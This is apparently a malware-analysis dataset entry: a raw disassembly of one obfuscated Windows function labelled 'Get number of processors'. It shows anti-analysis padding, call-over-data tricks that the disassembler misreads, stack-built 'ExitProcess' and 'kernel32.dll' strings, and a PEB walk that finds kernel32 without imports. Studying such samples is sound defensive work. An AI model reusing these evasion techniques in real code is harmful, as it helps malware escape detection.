Function at 0x419448
Capabilities:
Get number of processors

Disassembly:
idiv edi
pop eax
push ebx
push edi
add esp, 4
xor ebx, 0x16b34
add ebx, 0xf609
call 0x419448
add byte [esi], bh
inc ebx
aas
inc edx
inc ecx
inc edx
add esp, 4
pop ebx
push eax
or eax, 0x9690
pop eax
push edx
push edi
add esp, 4
add edx, 0xedd5
pop edx
push edi
push eax
add esp, 4
or edi, 0xe0bd
sub edi, 0x14d2d
pop edi
push esi
push ecx
add esp, 4
or esi, 0x11773
pop esi
mov ecx, dword [ebp - 8]
add ecx, 0xe9
imul edx, dword [ebp - 4], 0xe9
add edx, 0x15f3673a
imul eax, dword [ebp - 4], 0xe9
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 4]
mov dword [ebp - 0x10d4], ecx
push eax
add eax, 0xf482
or eax, 0x13f5
add eax, 0x216e
jmp 0x4194c2
pop eax
push ebx
push ebx
add esp, 4
add ebx, 0x14712
and ebx, 0xe1c1
xor ebx, 0xd199
pop ebx
mov ecx, dword [ebp - 0xbb0]
add ecx, 0xe9
imul edx, dword [ebp - 0xbac], 0xe9
add edx, 0x15f3673a
imul eax, dword [ebp - 0xbac], 0xe9
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0xbac]
mov dword [ebp - 0x10d0], ecx
mov ecx, dword [ebp - 0x10d0]
mov dword [ebp - 0x10d8], ecx
mov edx, dword [ebp - 0x10d4]
cmp edx, dword [ebp - 0x10d8]
jae 0x419538
mov dword [ebp - 0xb1c], 1
jmp 0x419542
mov dword [ebp - 0xb1c], 0
mov al, byte [ebp - 0xb1c]
mov byte [ebp - 0x219], al
movzx ecx, byte [ebp - 0x219]
test ecx, ecx
je 0x41cba7
lea edx, [ebp - 0x568]
mov dword [ebp - 0x22c], edx
mov eax, dword [ebp - 0x22c]
mov dword [eax + 4], 1
push esi
push edi
add esp, 4
jmp 0x419581
sub esi, 0x23ea
add esi, 0xf05e
pop esi
push eax
push ebx
add esp, 4
jmp 0x419598
add eax, 0x4ebe
pop eax
push ecx
mov dword [ebp - 0x238], 0
call 0x41cbb6
mov eax, 0xdeadbeef
pop eax
mov dword [ebp - 0x238], eax
push esi
or esi, 0xa1cb
jmp 0x41cbd0
call 0x41cbdd
add byte [ebx], dh
dec esp
inc ebx
cmp byte [eax], bh
cmp byte [ebx + 0xbe804c4], al
add byte [eax], al
add byte [eax], al
inc ebp
dec eax
cmp byte [esp + edi + 0x3d], al
dec ebx
inc esi
push eax
inc ebp
add esp, 4
pop esi
mov edx, dword [ebp - 0x1220]
mov dword [ebp - 0xb38], edx
push ecx
and ecx, 0x60aa
call 0x41cc14
add byte [esi], dh
xor eax, 0x4144444d
dec eax
add esp, 4
and ecx, 0xfd8a
jmp 0x41cc22
pop ecx
push edx
sub edx, 0xa436
pop edx
push esi
jmp 0x41cc31
pop esi
mov eax, dword [ebp - 0x70]
add eax, 0xe9
imul ecx, dword [ebp - 0x6c], 0xe9
add ecx, 0x15f3673a
imul edx, dword [ebp - 0x6c], 0xe9
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x6c]
mov dword [ebp - 0xb38], eax
mov eax, dword [ebp - 0x238]
mov dword [ebp - 0xe24], eax
mov ecx, dword [ebp - 0xe24]
add ecx, dword [ebp - 0xb38]
mov dword [ebp - 0x238], ecx
push esi
jmp 0x41cc83
call 0x41cc90
add byte [edi], dh
cmp eax, 0x4f433d33
inc ecx
add esp, 4
xor esi, 0x15fb6
jmp 0x41cc9f
pop esi
push eax
push eax
add esp, 4
or eax, 0x13a
pop eax
push eax
and eax, 0x158c9
jmp 0x41ccb9
xor eax, 0x58d7
call 0x41ccce
add byte [ebx + 0x46], cl
inc ecx
cmp bh, byte [ebx]
inc eax
dec ebx
inc ebx
inc ebx
add esp, 4
pop eax
push eax
push esi
add esp, 4
add eax, 0x6a11
pop eax
mov byte [ebp - 0x650], 0x51
mov byte [ebp - 0x64f], 0xb9
mov byte [ebp - 0x64e], 0x10
mov byte [ebp - 0x64d], 0x10
mov byte [ebp - 0x64c], 0x10
mov byte [ebp - 0x64b], 0x10
mov byte [ebp - 0x64a], 0x59
push ebx
sub ebx, 0x13ff7
and ebx, 0xeef5
or ebx, 0x4dfe
pop ebx
push eax
push esi
add esp, 4
jmp 0x41cd2e
pop eax
push ebx
push eax
add esp, 4
or ebx, 0xc8a0
xor ebx, 0x1167c
pop ebx
push esi
call 0x41cd52
add byte [ebx + 0x45], al
inc eax
inc ebp
xor al, byte [ebp + 0x3e]
dec edx
inc ecx
inc edx
add esp, 4
add esi, 0x3f57
call 0x41cd69
add byte [esi], dh
inc ebx
inc ecx
inc esi
inc edi
cmp al, 0x50
inc edi
add esp, 4
xor esi, 0x3949
pop esi
mov byte [ebp - 0x658], 0x51
mov byte [ebp - 0x657], 0xb9
mov byte [ebp - 0x656], 0x20
mov byte [ebp - 0x655], 0x20
mov byte [ebp - 0x654], 0x20
mov byte [ebp - 0x653], 0x20
mov byte [ebp - 0x652], 0x59
push esi
or esi, 0xcf3e
pop esi
push edi
push ebx
add esp, 4
sub edi, 0xfdf9
and edi, 0x134be
add edi, 0x12b44
pop edi
push edx
push ecx
add esp, 4
xor edx, 0x4ffa
add edx, 0x18551
pop edx
push esi
and esi, 0x4abf
add esi, 0x2d02
add esi, 0x24ad
pop esi
push ebx
call 0x41cdf8
add byte [edi + ecx*2], bh
xor eax, 0x5043443a
add esp, 4
pop ebx
push edx
push edi
add esp, 4
sub edx, 0x7b09
pop edx
mov dword [ebp - 0x1224], 0xe
push ebx
add ebx, 0xcc8c
pop ebx
push edx
push edi
add esp, 4
call 0x41ce2e
add byte [esi + 0x3c], cl
dec ebp
dec edx
cmp ecx, dword [ecx + 0x3f]
xor eax, dword [ebp - 0x7d]
les eax, [ecx + eax*4]
loop 0x41ce66
and al, 1
add byte [ecx + 0x5e99c2], al
add byte [ecx + 0x180e6e2], al
add byte [edx - 0x46], bl
add dword [eax], eax
add byte [eax], al
imul eax, edx, 0
lea ecx, [ebp + eax - 0x650]
mov dword [ebp - 0xb3c], ecx
push esi
sub esi, 0x4b52
and esi, 0x8905
pop esi
push edi
jmp 0x41ce70
xor edi, 0xecc1
sub edi, 0x502c
pop edi
push ecx
xor ecx, 0x2af3
or ecx, 0xd6e7
pop ecx
mov dword [ebp - 0x1228], 0xffffffff
push edx
or edx, 0xc959
xor edx, 0x941a
pop edx
push ebx
push edi
add esp, 4
and ebx, 0x134b5
pop ebx
push ecx
xor ecx, 0x12d58
call 0x41cec3
add byte [eax + edx*2], dh
xor eax, 0x384d3b49
add esp, 4
pop ecx
mov edx, dword [ebp - 0x238]
mov dword [ebp - 0x264], edx
jmp 0x41cee4
mov eax, dword [ebp - 0x264]
add eax, 1
mov dword [ebp - 0x264], eax
push eax
jmp 0x41ceed
pop eax
push ecx
push esi
add esp, 4
call 0x41cf00
add byte [eax + 0x42], cl
dec esp
xor dl, byte [eax + 0x3f]
dec esp
add esp, 4
add ecx, 0x17924
or ecx, 0x814b
xor ecx, 0x10a9e
pop ecx
mov ecx, dword [ebp - 0x264]
sub ecx, dword [ebp - 0x238]
cmp ecx, 0xffffffff
jb 0x41cf5e
push ecx
push edx
add esp, 4
or ecx, 0xb2e5
call 0x41cf41
add byte [eax + 0x4c], dl
inc ebp
inc edi
dec eax
cmp al, byte [ebp + 0x4a]
xor eax, dword [ebx - 0xe7efb3c]
ljmp 0x8157
mov dword [ebp - 0x698], 7
mov edx, dword [ebp - 0x264]
mov dword [ebp - 0x648], edx
push edx
or edx, 0x9a87
add edx, 0x426d
pop edx
push edx
jmp 0x41cf8b
add edx, 0xc779
pop edx
push esi
or esi, 0x56d9
pop esi
push ebx
push eax
add esp, 4
and ebx, 0x1225
pop ebx
mov eax, dword [ebp - 0xb3c]
mov dword [ebp - 0x608], eax
mov dword [ebp - 0x69c], 0
mov ecx, dword [ebp - 0x264]
cmp ecx, dword [ebp - 0xb3c]
jne 0x41cfdb
mov edx, dword [ebp - 0x69c]
mov dword [ebp - 0xb44], edx
jmp 0x41d10c
cmp dword [ebp - 0x698], 0
jle 0x41d100
push ecx
push eax
add esp, 4
sub ecx, 0x18574
add ecx, 0x12fd3
call 0x41d009
add byte [edx + 0x4d], al
xor eax, 0x49343346
cmp byte [ebx + 0x35], cl
add esp, 4
jmp 0x41d011
pop ecx
push esi
or esi, 0x15229
pop esi
mov eax, dword [ebp - 0x648]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x608]
movzx eax, byte [edx]
cmp ecx, eax
je 0x41d09c
push esi
push ebx
add esp, 4
or esi, 0x14169
xor esi, 0x126e7
or esi, 0x163bc
and esi, 0x11e8b
pop esi
push edx
push edi
add esp, 4
jmp 0x41d058
jmp 0x41d061
pop edx
mov ecx, dword [ebp - 0x648]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x608]
movzx ecx, byte [eax]
cmp edx, ecx
jle 0x41d084
mov dword [ebp - 0xb40], 1
jmp 0x41d08e
mov dword [ebp - 0xb40], 0xffffffff
mov edx, dword [ebp - 0xb40]
mov dword [ebp - 0x69c], edx
jmp 0x41d100
push ebx
push edx
add esp, 4
add ebx, 0xba5f
pop ebx
push edx
xor edx, 0xb4e9
call 0x41d0be
add byte [edi + 0x4f], al
dec edi
dec esp
cmp esi, dword [esi]
inc edx
inc esp
add esp, 4
sub edx, 0x3f35
xor edx, 0x15438
pop edx
mov eax, dword [ebp - 0x698]
sub eax, 1
mov dword [ebp - 0x698], eax
mov ecx, dword [ebp - 0x648]
add ecx, 1
mov dword [ebp - 0x648], ecx
mov edx, dword [ebp - 0x608]
add edx, 1
mov dword [ebp - 0x608], edx
jmp 0x41cfdb
mov eax, dword [ebp - 0x69c]
mov dword [ebp - 0xb44], eax
cmp dword [ebp - 0xb44], 0
jne 0x41d155
push esi
xor esi, 0x3c1f
and esi, 0x142eb
add esi, 0x53f7
xor esi, 0x124a5
pop esi
push edi
or edi, 0x2d8b
xor edi, 0xfda3
pop edi
push ebx
jmp 0x41d146
pop ebx
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x228], ecx
jmp 0x41d196
jmp 0x41ced5
push esi
push eax
add esp, 4
or esi, 0x10760
jmp 0x41d1a8
or esi, 0x108bc
pop esi
push ecx
push esi
add esp, 4
add ecx, 0x1735
or ecx, 0xa72a
jmp 0x41d1c7
pop ecx
push eax
push edi
add esp, 4
add eax, 0x11646
call 0x41d1e3
add byte [edx], dh
inc ebp
cmp dword [0x3c3c3e43], edi
xor cl, byte [ebx + eax*4 - 0x3c]
add al, 0xe8
or eax, dword [eax]
add byte [eax], al
add byte [ecx], bh
inc ecx
inc ebp
dec esi
aaa
dec edx
dec esi
inc edi
cmp al, byte [ebp - 0x7d]
les eax, [eax + ebx*2]
mov edx, 1
imul eax, edx, 0
lea ecx, [ebp + eax - 0x658]
mov dword [ebp - 0xb48], ecx
push edi
jmp 0x41d219
and edi, 0x1548d
jmp 0x41d226
pop edi
push edx
and edx, 0xd692
add edx, 0x11805
and edx, 0x1144e
sub edx, 0x12cd1
pop edx
mov dword [ebp - 0x122c], 0xffffffff
push ebx
push eax
add esp, 4
jmp 0x41d255
jmp 0x41d25e
and ebx, 0x14387
sub ebx, 0x108c8
pop ebx
push eax
push ecx
add esp, 4
or eax, 0xc6d
or eax, 0x5321
pop eax
mov edx, dword [ebp - 0x238]
mov dword [ebp - 0x260], edx
jmp 0x41d29a
mov eax, dword [ebp - 0x260]
add eax, 1
mov dword [ebp - 0x260], eax
push eax
push eax
add esp, 4
add eax, 0x153ac
add eax, 0x16be1
sub eax, 0x13648
sub eax, 0x2552
pop eax
push edx
and edx, 0x77d3
and edx, 0x1567e
add edx, 0x330a
pop edx
mov ecx, dword [ebp - 0x260]
sub ecx, dword [ebp - 0x238]
cmp ecx, 0xffffffff
jb 0x41d314
push ecx
add ecx, 0x16855
pop ecx
push edi
push edi
add esp, 4
jmp 0x41d2ef
sub edi, 0x87c2
call 0x41d305
add byte [esi], bh
cmp dh, byte [0x484c3336]
cmp dword [esi + 0x36], eax
add esp, 4
jmp 0x41d30e
pop edi
jmp 0x41d510
mov dword [ebp - 0x6a0], 7
mov edx, dword [ebp - 0x260]
mov dword [ebp - 0x60c], edx
push eax
sub eax, 0x5709
add eax, 0x1353a
pop eax
push ebx
jmp 0x41d340
jmp 0x41d348
pop ebx
push ecx
push edi
add esp, 4
jmp 0x41d356
jmp 0x41d35b
pop ecx
mov eax, dword [ebp - 0xb48]
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x6a4], 0
mov ecx, dword [ebp - 0x260]
cmp ecx, dword [ebp - 0xb48]
jne 0x41d391
mov edx, dword [ebp - 0x6a4]
mov dword [ebp - 0xb50], edx
jmp 0x41d4c2
cmp dword [ebp - 0x6a0], 0
jle 0x41d4b6
push eax
and eax, 0xa907
sub eax, 0x3cfc
sub eax, 0x99c6
pop eax
push ecx
jmp 0x41d3b8
pop ecx
push esi
or esi, 0x1393
jmp 0x41d3c9
xor esi, 0x135ba
pop esi
mov eax, dword [ebp - 0x60c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x610]
movzx eax, byte [edx]
cmp ecx, eax
je 0x41d452
push edx
push ebx
add esp, 4
and edx, 0x13f55
sub edx, 0x10361
pop edx
push ebx
push eax
add esp, 4
xor ebx, 0x12fc6
pop ebx
push ebx
xor ebx, 0x4be9
add ebx, 0x18109
add ebx, 0x5332
pop ebx
mov ecx, dword [ebp - 0x60c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x610]
movzx ecx, byte [eax]
cmp edx, ecx
jle 0x41d43a
mov dword [ebp - 0xb4c], 1
jmp 0x41d444
mov dword [ebp - 0xb4c], 0xffffffff
mov edx, dword [ebp - 0xb4c]
mov dword [ebp - 0x6a4], edx
jmp 0x41d4b6
push ebx
push edx
add esp, 4
add ebx, 0x4046
sub ebx, 0x16072
and ebx, 0x1155e
pop ebx
push edx
jmp 0x41d471
add edx, 0xa3d1
xor edx, 0x9729
or edx, 0x5c3d
pop edx
mov eax, dword [ebp - 0x6a0]
sub eax, 1
mov dword [ebp - 0x6a0], eax
mov ecx, dword [ebp - 0x60c]
add ecx, 1
mov dword [ebp - 0x60c], ecx
mov edx, dword [ebp - 0x610]
add edx, 1
mov dword [ebp - 0x610], edx
jmp 0x41d391
mov eax, dword [ebp - 0x6a4]
mov dword [ebp - 0xb50], eax
cmp dword [ebp - 0xb50], 0
jne 0x41d50b
push edi
push esi
add esp, 4
add edi, 0x11d55
pop edi
push ebx
and ebx, 0x1249c
pop ebx
push eax
push edi
add esp, 4
and eax, 0xc507
pop eax
push esi
push ebx
add esp, 4
or esi, 0xeecf
xor esi, 0x149af
pop esi
mov ecx, dword [ebp - 0x260]
mov dword [ebp - 0x614], ecx
jmp 0x41d54c
jmp 0x41d28b
push edi
push ecx
add esp, 4
sub edi, 0x91f8
sub edi, 0x14ba8
and edi, 0xcc18
pop edi
push edx
push edx
add esp, 4
or edx, 0x170dc
jmp 0x41d53b
and edx, 0x110f
pop edx
mov dword [ebp - 0x614], 0
push eax
push eax
add esp, 4
sub eax, 0x5ea1
pop eax
push edx
add edx, 0xcee3
and edx, 0x712c
call 0x41d574
add byte [ebx], bh
cmp eax, 0x354c4332
inc eax
dec edx
push eax
add esp, 4
sub edx, 0x2f78
pop edx
mov byte [ebp - 0x494], 0x45
mov byte [ebp - 0x493], 0x78
mov byte [ebp - 0x492], 0x69
mov byte [ebp - 0x491], 0x74
mov byte [ebp - 0x490], 0x50
mov byte [ebp - 0x48f], 0x72
mov byte [ebp - 0x48e], 0x6f
mov byte [ebp - 0x48d], 0x63
mov byte [ebp - 0x48c], 0x65
mov byte [ebp - 0x48b], 0x73
mov byte [ebp - 0x48a], 0x73
mov byte [ebp - 0x489], 0
push ebx
push esi
add esp, 4
xor ebx, 0x16710
or ebx, 0x25a1
or ebx, 0x1846b
jmp 0x41d5ef
pop ebx
push ecx
jmp 0x41d5f7
sub ecx, 0x16991
add ecx, 0x7d1d
pop ecx
mov edx, 0x6b
mov word [ebp - 0xc50], dx
mov eax, 0x65
mov word [ebp - 0xc4e], ax
mov ecx, 0x72
mov word [ebp - 0xc4c], cx
mov edx, 0x6e
mov word [ebp - 0xc4a], dx
mov eax, 0x65
mov word [ebp - 0xc48], ax
mov ecx, 0x6c
mov word [ebp - 0xc46], cx
mov edx, 0x33
mov word [ebp - 0xc44], dx
mov eax, 0x32
mov word [ebp - 0xc42], ax
mov ecx, 0x2e
mov word [ebp - 0xc40], cx
mov edx, 0x64
mov word [ebp - 0xc3e], dx
mov eax, 0x6c
mov word [ebp - 0xc3c], ax
mov ecx, 0x6c
mov word [ebp - 0xc3a], cx
xor edx, edx
mov word [ebp - 0xc38], dx
push eax
call 0x41d6ab
add byte [eax + eax*2], bh
xor eax, 0x44353d47
add esp, 4
pop eax
push eax
or eax, 0xaf75
and eax, 0xf81a
pop eax
push eax
call 0x41d6cb
add byte [edi], bh
dec ebx
inc ebp
cmp cl, byte ss:[edi - 0x7d]
les eax, [eax + ebx*2]
mov eax, dword fs:[0x18]
mov dword [ebp - 0xe28], eax
mov ecx, dword [ebp - 0xe28]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xe2c], edx
mov eax, dword [ebp - 0xe2c]
mov dword [ebp - 0xb54], eax
push edi
jmp 0x41d6fd
pop edi
push ebx
push edi
add esp, 4
and ebx, 0x405d
xor ebx, 0x8e61
pop ebx
push ecx
push ebx
add esp, 4
or ecx, 0xcf94
or ecx, 0x2111
xor ecx, 0x14404
pop ecx
cmp dword [ebp - 0xb54], 0
jne 0x41d740
mov dword [ebp - 0x188], 0
jmp 0x41d9e7
mov ecx, dword [ebp - 0xb54]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x6b0], eax
push ebx
push eax
add esp, 4
or ebx, 0x1253
pop ebx
push esi
xor esi, 0x7b86
pop esi
push edx
push ebx
add esp, 4
and edx, 0x10e33
or edx, 0xcc68
xor edx, 0xa44a
or edx, 0xce49
pop edx
cmp dword [ebp - 0x6b0], 0
jne 0x41d79c
mov dword [ebp - 0x188], 0
jmp 0x41d9e7
mov ecx, dword [ebp - 0x6b0]
mov dword [ebp - 0x25c], ecx
push ebx
push ecx
add esp, 4
call 0x41d7ba
add byte [eax + 0x39], al
aas
inc esi
xor bh, byte [esi]
cmp eax, dword [ebx + 0x8e804c4]
add byte [eax], al
add byte [eax], al
xor cl, byte [ecx + 0x37]
inc esi
aas
push eax
xor eax, dword [ebx + 0x575b04c4]
push esi
add esp, 4
sub edi, 0x14088
pop edi
lea edx, [ebp - 0xc50]
mov dword [ebp - 0x6ac], edx
mov eax, dword [ebp - 0x25c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x6a8], ecx
xor edx, edx
mov word [ebp - 0x114], dx
xor eax, eax
mov word [ebp - 0x28], ax
push eax
jmp 0x41d80c
pop eax
push ecx
push ecx
add esp, 4
call 0x41d81f
add byte [ebx + esi + 0x49], al
inc esp
dec ebp
cmp cl, byte [eax - 0x7d]
les eax, [ebx + ebp*8]
add eax, 0x5045343e
aaa
sub ecx, 0x18f9
sub ecx, 0x5bd
pop ecx
mov ecx, dword [ebp - 0x6a8]
mov dx, word [ecx]
mov word [ebp - 0x87a], dx
mov eax, dword [ebp - 0x6a8]
add eax, 2
mov dword [ebp - 0x6a8], eax
mov cx, word [ebp - 0x87a]
mov word [ebp - 0x114], cx
mov edx, dword [ebp - 0x6ac]
mov ax, word [edx]
mov word [ebp - 0x92c], ax
mov ecx, dword [ebp - 0x6ac]
add ecx, 2
mov dword [ebp - 0x6ac], ecx
mov dx, word [ebp - 0x92c]
mov word [ebp - 0x28], dx
push esi
push esi
add esp, 4
sub esi, 0xfd7a
and esi, 0xe121
or esi, 0x9992
and esi, 0xcbb3
pop esi
push ecx
add ecx, 0x6cac
pop ecx
push esi
push edx
add esp, 4
xor esi, 0x684e
pop esi
movzx eax, word [ebp - 0x28]
test eax, eax
jne 0x41d8dc
movzx ecx, word [ebp - 0x114]
movzx edx, word [ebp - 0x28]
sub ecx, edx
mov dword [ebp - 0xb5c], ecx
jmp 0x41d936
movzx eax, word [ebp - 0x114]
movzx ecx, word [ebp - 0x28]
cmp eax, ecx
je 0x41d804
movzx edx, word [ebp - 0x114]
xor edx, 0x20
movzx eax, word [ebp - 0x28]
cmp edx, eax
je 0x41d804
movzx ecx, word [ebp - 0x114]
movzx edx, word [ebp - 0x28]
cmp ecx, edx
jge 0x41d920
mov dword [ebp - 0xb58], 0xffffffff
jmp 0x41d92a
mov dword [ebp - 0xb58], 1
mov eax, dword [ebp - 0xb58]
mov dword [ebp - 0xb5c], eax
cmp dword [ebp - 0xb5c], 0
jne 0x41d97f
push edx
push edx
add esp, 4
call 0x41d950
add byte [ebp + 0x34], al
cmp dword [ecx], edi
push eax
dec eax
add esp, 4
pop edx
push ebx
push edx
add esp, 4
jmp 0x41d95e
and ebx, 0x129d2
and ebx, 0x55d
xor ebx, 0xe9bf
pop ebx
mov ecx, dword [ebp - 0x25c]
mov dword [ebp - 0x188], ecx
jmp 0x41d9e7
push ecx
push ecx
add esp, 4
or ecx, 0x17324
jmp 0x41d991
call 0x41d99f
add byte [ecx + 0x34], cl
cmp eax, 0x48414f3f
dec ebp
add esp, 4
pop ecx
push edi
add edi, 0x11b43
and edi, 0x1153f
pop edi
mov edx, dword [ebp - 0x25c]
mov eax, dword [edx]
mov dword [ebp - 0x25c], eax
mov ecx, dword [ebp - 0x25c]
cmp ecx, dword [ebp - 0x6b0]
je 0x41d9dd
mov edx, dword [ebp - 0x25c]
cmp dword [edx + 0x30], 0
jne 0x41d7a8
mov dword [ebp - 0x188], 0
push edx
push ebx
add esp, 4
or edx, 0xd1bb
add edx, 0x51dd
call 0x41da07
add byte [edi], dh
xor bh, byte [edi]
inc edi
cmp dword [eax + edi], esi
cmp byte [ebx + eax*4 - 0x3c], cl
add al, 0xeb
add al, 0x40
xor al, byte [esi + 0x39]
pop edx
push edi
sub edi, 0x10498
pop edi
cmp dword [ebp - 0x188], 0
jne 0x41e2ec
mov eax, 0x6b
mov word [ebp - 0xca8], ax
mov ecx, 0x65
mov word [ebp - 0xca6], cx
mov edx, 0x72
mov word [ebp - 0xca4], dx
mov eax, 0x6e
mov word [ebp - 0xca2], ax
mov ecx, 0x65
mov word [ebp - 0xca0], cx
mov edx, 0x6c
mov word [ebp - 0xc9e], dx
mov eax, 0x33
mov word [ebp - 0xc9c], ax
mov ecx, 0x32
mov word [ebp - 0xc9a], cx
mov edx, 0x2e
mov word [ebp - 0xc98], dx
invalid
add byte fs:[eax], al